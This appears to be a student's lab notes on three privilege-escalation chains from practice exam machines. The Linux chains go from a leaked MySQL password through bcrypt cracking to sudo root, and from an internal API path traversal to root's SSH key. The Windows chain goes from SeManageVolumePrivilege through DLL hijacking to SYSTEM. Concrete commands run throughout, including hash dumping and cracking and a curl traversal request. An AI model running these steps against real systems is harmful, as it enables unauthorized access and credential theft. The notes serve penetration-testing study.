PrivEsc Vectors

Standalones — Privilege Escalation Vectors


1. linpeas → .mysql_history Credential Leak → MySQL Hash Dump → Bcrypt Crack → Lateral SSH → NOPASSWD Sudo → Root

Seen in: Exam B (.112)
OS: Linux (Ubuntu 24.04)
Starting user: clara (low-priv, from SSH key foothold)

Discovery Steps

  1. Transfer linpeas.sh from Kali: python3 -m http.server 4444 on Kali → wget http://$KALI:4444/linpeas.sh on target
  2. chmod +x linpeas.sh && ./linpeas.sh → automated enumeration
  3. linpeas flags [*] Searching passwords in history files (T1552.001) → highlights /home/clara/.mysql_history with SQL statements containing ALTER USER 'root'@'localhost' IDENTIFIED BY 'Sup3r_S3cure_DB!'

Exploitation Steps

  1. Verify internal MySQL: ss -tnlp → port 3306 listening on 127.0.0.1
  2. mysql -h 127.0.0.1 -P 3306 -u root -p → enter Sup3r_S3cure_DB! → connected as root
  3. SHOW DATABASES; → see crestline, internal_auth; USE internal_auth; SHOW TABLES; → users
  4. SELECT * FROM users; → dumps usernames and bcrypt hashes: admin, jsmith, marcus, kthompson, rwilliams
  5. Save hashes to hashes.txt on Kali
  6. john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt → cracks marcus:789456123
  7. ssh marcus@$IP → SSH session as marcus (lateral move)
  8. find / -perm -u=s -type f 2>/dev/null → enumerate SUID binaries
  9. sudo /bin/sh → no password required for sudo; root shell
  10. Retrieve proof.txt from /root/

Notes


2. dev Group Membership → Nexus Config Exposure → World-Readable Log → Internal API Path Traversal → Root SSH Private Key

Seen in: Exam C (.110)
OS: Linux (Ubuntu 24.04)
Starting user: james (low-priv, from POP3 email foothold)

Discovery Steps

  1. id → uid=1000(james) gid=1000(james) groups=1000(james),24(cdrom),30(dip),46(plugdev),1001(dev) — member of dev group
  2. find / -group dev 2>/dev/null → finds /opt/nexus/ directory tree

Exploitation Steps

  1. cat /opt/nexus/config.py → reveals LOG_DIR = '/var/log/nexus' and confirms Nexus service runs internally
  2. ls -l /var/log/nexus/ → nexus.log is world-readable (-rw-r--r-- 1 root root)
  3. cat /var/log/nexus/nexus.log → log entries show GET requests to http://localhost:8005/api/v1/artifacts/download with artifact path ../../../../root/.ssh/id_rsa returning HTTP 200
  4. curl http://127.0.0.1:8005/api/v1/artifacts/download?artifact=../../../../root/.ssh/id_rsa → returns full RSA private key content
  5. Save key locally → chmod 600 root_id_rsa
  6. ssh -i root_id_rsa root@$IP → root shell; retrieve proof.txt

Notes


3. SeManageVolumePrivilege → DLL Hijacking → SeImpersonate → SYSTEM

Seen in: Exam C (.111, Windows — Jenkins box)
OS: Windows
Starting user: low-priv domain user (from Jenkins Groovy script RCE foothold)

Discovery Steps

  1. whoami /priv → SeManageVolumePrivilege: Enabled
  2. SeManageVolumePrivilege allows setting DACL on volumes — use to write/replace DLLs in privileged directories

Exploitation Steps

  1. Use SeManageVolumePrivilege to write a malicious DLL to a directory in the system PATH loaded by a privileged process
  2. Trigger the DLL load (e.g., by starting/restarting a service or scheduled task) → code executes as SYSTEM
  3. DLL payload spawns SYSTEM shell or grants SeImpersonate capability for further abuse
  4. whoami → nt authority\system; retrieve proof.txt

Notes


See Also